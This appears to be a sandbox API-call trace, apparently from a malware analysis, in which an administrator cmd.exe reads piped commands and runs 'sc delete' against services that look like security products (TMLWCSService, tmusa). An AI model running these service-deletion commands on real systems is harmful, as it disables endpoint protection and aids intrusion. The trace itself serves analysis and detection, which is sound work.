hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba90 | out: hHeap=0x240000) returned 1 [0078.888] GetEnvironmentStringsW () returned 0x261b10* [0078.889] GetProcessHeap () returned 0x240000 [0078.889] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba90 [0078.889] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0078.889] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0078.889] GetProcessHeap () returned 0x240000 [0078.889] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba90 | out: hHeap=0x240000) returned 1 [0078.889] GetEnvironmentStringsW () returned 0x261b10* [0078.889] GetProcessHeap () returned 0x240000 [0078.889] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba90 [0078.889] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0078.889] GetProcessHeap () returned 0x240000 [0078.889] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589d0 | out: hHeap=0x240000) returned 1 [0078.889] DeleteProcThreadAttributeList (in: lpAttributeList=0x1af378 | out: lpAttributeList=0x1af378) [0078.889] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0078.890] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.890] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0078.890] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.890] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x49f8e194 | out: lpMode=0x49f8e194) returned 0 [0078.890] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.890] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x49f8e198 | out: lpMode=0x49f8e198) returned 0 [0078.890] GetConsoleOutputCP () returned 0x1b5 [0078.891] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0078.891] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0078.891] GetProcessHeap () returned 0x240000 [0078.891] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259b30 | out: hHeap=0x240000) returned 1 [0078.891] GetProcessHeap () returned 0x240000 [0078.891] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x241ab0 | out: hHeap=0x240000) returned 1 [0078.891] GetProcessHeap () returned 0x240000 [0078.891] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255b70 | out: hHeap=0x240000) returned 1 [0078.891] GetProcessHeap () returned 0x240000 [0078.891] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0078.891] GetProcessHeap () returned 0x240000 [0078.891] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25aa90 | out: hHeap=0x240000) returned 1 [0078.891] GetProcessHeap () returned 0x240000 [0078.891] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259910 | out: hHeap=0x240000) returned 1 [0078.891] GetProcessHeap () returned 0x240000 [0078.891] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25aa40 | out: hHeap=0x240000) returned 1 [0078.891] GetProcessHeap () returned 0x240000 [0078.891] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589b0 | out: hHeap=0x240000) returned 1 [0078.891] GetProcessHeap () returned 0x240000 [0078.891] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x264660 | out: hHeap=0x240000) returned 1 [0078.892] _vsnwprintf (in: _Buffer=0x49fa6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1af7d8 | out: _Buffer="\r\n") returned 2 [0078.892] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.892] GetFileType (hFile=0x120) returned 0x3 [0078.892] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.892] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0078.892] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1af7a8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7a8*=0x2, lpOverlapped=0x0) returned 1 [0078.892] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0078.893] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f9c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0078.893] _vsnwprintf (in: _Buffer=0x49f8eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1af7e8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0078.893] _vsnwprintf (in: _Buffer=0x49f8ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x1af7e8 | out: _Buffer=">") returned 1 [0078.893] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.893] GetFileType (hFile=0x120) returned 0x3 [0078.893] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.893] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0078.893] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x1af7d8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7d8*=0x26, lpOverlapped=0x0) returned 1 [0078.893] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.893] GetFileType (hFile=0xb8) returned 0x3 [0078.893] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.893] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.893] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.893] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e320, cchWideChar=1 | out: lpWideCharStr="sc delete TMLWCSService\n4-9.4\"\n\nA\"\n") returned 1 [0078.893] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.893] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.893] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.894] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e322, cchWideChar=1 | out: lpWideCharStr="c delete TMLWCSService\n4-9.4\"\n\nA\"\n") returned 1 [0078.894] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.894] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.894] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.894] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e324, cchWideChar=1 | out: lpWideCharStr=" delete TMLWCSService\n4-9.4\"\n\nA\"\n") returned 1 [0078.894] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.894] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.894] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.894] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e326, cchWideChar=1 | out: lpWideCharStr="delete TMLWCSService\n4-9.4\"\n\nA\"\n") returned 1 [0078.894] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.894] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.894] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.894] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e328, cchWideChar=1 | out: lpWideCharStr="elete TMLWCSService\n4-9.4\"\n\nA\"\n") returned 1 [0078.894] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.894] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.894] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.894] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32a, cchWideChar=1 | out: lpWideCharStr="lete TMLWCSService\n4-9.4\"\n\nA\"\n") returned 1 [0078.894] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.894] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.895] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.895] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32c, cchWideChar=1 | out: lpWideCharStr="ete TMLWCSService\n4-9.4\"\n\nA\"\n") returned 1 [0078.895] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.895] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.895] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.895] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32e, cchWideChar=1 | out: lpWideCharStr="te TMLWCSService\n4-9.4\"\n\nA\"\n") returned 1 [0078.895] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.895] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.895] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.895] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e330, cchWideChar=1 | out: lpWideCharStr="e TMLWCSService\n4-9.4\"\n\nA\"\n") returned 1 [0078.895] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.895] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.895] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.895] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e332, cchWideChar=1 | out: lpWideCharStr=" TMLWCSService\n4-9.4\"\n\nA\"\n") returned 1 [0078.895] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.895] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.895] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.895] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e334, cchWideChar=1 | out: lpWideCharStr="tMLWCSService\n4-9.4\"\n\nA\"\n") returned 1 [0078.895] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.896] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.896] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.896] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e336, cchWideChar=1 | out: lpWideCharStr="mLWCSService\n4-9.4\"\n\nA\"\n") returned 1 [0078.896] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.896] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.896] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.896] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e338, cchWideChar=1 | out: lpWideCharStr="uWCSService\n4-9.4\"\n\nA\"\n") returned 1 [0078.896] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.896] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.896] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.896] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33a, cchWideChar=1 | out: lpWideCharStr="sCSService\n4-9.4\"\n\nA\"\n") returned 1 [0078.896] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.896] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.896] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.896] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33c, cchWideChar=1 | out: lpWideCharStr="aSService\n4-9.4\"\n\nA\"\n") returned 1 [0078.896] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.896] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.896] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.897] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33e, cchWideChar=1 | out: lpWideCharStr="\nService\n4-9.4\"\n\nA\"\n") returned 1 [0078.897] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.897] GetFileType (hFile=0xb8) returned 0x3 [0078.897] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.897] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.897] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.897] GetFileType (hFile=0x120) returned 0x3 [0078.897] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.897] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete tmusa\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete tmusa\n", lpUsedDefaultChar=0x0) returned 17 [0078.897] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1afab8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1afab8*=0x10, lpOverlapped=0x0) returned 1 [0078.897] GetProcessHeap () returned 0x240000 [0078.897] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4012) returned 0x288630 [0078.897] GetProcessHeap () returned 0x240000 [0078.897] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x288630 | out: hHeap=0x240000) returned 1 [0078.897] GetProcessHeap () returned 0x240000 [0078.897] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0) returned 0x264660 [0078.897] GetProcessHeap () returned 0x240000 [0078.897] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x16) returned 0x2589b0 [0078.897] GetProcessHeap () returned 0x240000 [0078.897] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x256510 [0078.898] GetConsoleOutputCP () returned 0x1b5 [0078.898] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0078.898] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0078.898] GetConsoleTitleW (in: lpConsoleTitle=0x1afa70, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0078.898] GetProcessHeap () returned 0x240000 [0078.898] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x218) returned 0x259910 [0078.898] GetProcessHeap () returned 0x240000 [0078.898] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x32) returned 0x256550 [0078.898] GetProcessHeap () returned 0x240000 [0078.898] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x420) returned 0x25c5b0 [0078.898] SetErrorMode (uMode=0x0) returned 0x1 [0078.899] SetErrorMode (uMode=0x1) returned 0x0 [0078.899] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x25c5c0, lpFilePart=0x1af300 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1af300*="Desktop") returned 0x25 [0078.899] SetErrorMode (uMode=0x1) returned 0x1 [0078.899] GetProcessHeap () returned 0x240000 [0078.899] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x25c5b0, Size=0x62) returned 0x25c5b0 [0078.899] GetProcessHeap () returned 0x240000 [0078.899] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c5b0) returned 0x62 [0078.899] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0078.899] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0078.899] GetProcessHeap () returned 0x240000 [0078.899] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x128) returned 0x255b70 [0078.899] GetProcessHeap () returned 0x240000 [0078.899] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x240) returned 0x241ab0 [0078.899] GetProcessHeap () returned 0x240000 [0078.899] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x241ab0, Size=0x12a) returned 0x241ab0 [0078.899] GetProcessHeap () returned 0x240000 [0078.899] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x241ab0) returned 0x12a [0078.899] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0078.899] GetProcessHeap () returned 0x240000 [0078.899] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xe8) returned 0x259b30 [0078.899] GetProcessHeap () returned 0x240000 [0078.899] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259b30, Size=0x7e) returned 0x259b30 [0078.899] GetProcessHeap () returned 0x240000 [0078.899] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259b30) returned 0x7e [0078.900] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0078.900] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0078.900] GetLastError () returned 0x2 [0078.900] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0078.900] GetLastError () returned 0x2 [0078.900] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0078.900] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0078.900] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0078.900] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0078.901] GetLastError () returned 0x2 [0078.901] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0078.901] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0078.901] GetConsoleTitleW (in: lpConsoleTitle=0x1af5c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0078.901] GetProcessHeap () returned 0x240000 [0078.901] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x21c) returned 0x259180 [0078.901] GetConsoleTitleW (in: lpConsoleTitle=0x259190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0078.901] GetProcessHeap () returned 0x240000 [0078.901] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259180, Size=0x98) returned 0x259180 [0078.901] GetProcessHeap () returned 0x240000 [0078.901] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259180) returned 0x98 [0078.901] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete tmusa") returned 1 [0078.902] GetProcessHeap () returned 0x240000 [0078.902] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259180 | out: hHeap=0x240000) returned 1 [0078.902] InitializeProcThreadAttributeList (in: lpAttributeList=0x1af378, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1af338 | out: lpAttributeList=0x1af378, lpSize=0x1af338) returned 1 [0078.902] UpdateProcThreadAttribute (in: lpAttributeList=0x1af378, dwFlags=0x0, Attribute=0x60001, lpValue=0x1af328, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1af378, lpPreviousValue=0x0) returned 1 [0078.902] GetStartupInfoW (in: lpStartupInfo=0x1af490 | out: lpStartupInfo=0x1af490*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0078.902] GetProcessHeap () returned 0x240000 [0078.902] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x20) returned 0x254610 [0078.902] GetProcessHeap () returned 0x240000 [0078.903] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x254610 | out: hHeap=0x240000) returned 1 [0078.903] GetProcessHeap () returned 0x240000 [0078.903] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x12) returned 0x2589d0 [0078.903] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete tmusa", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1af3b0*(cb=0x70, lpReserved=0x0, 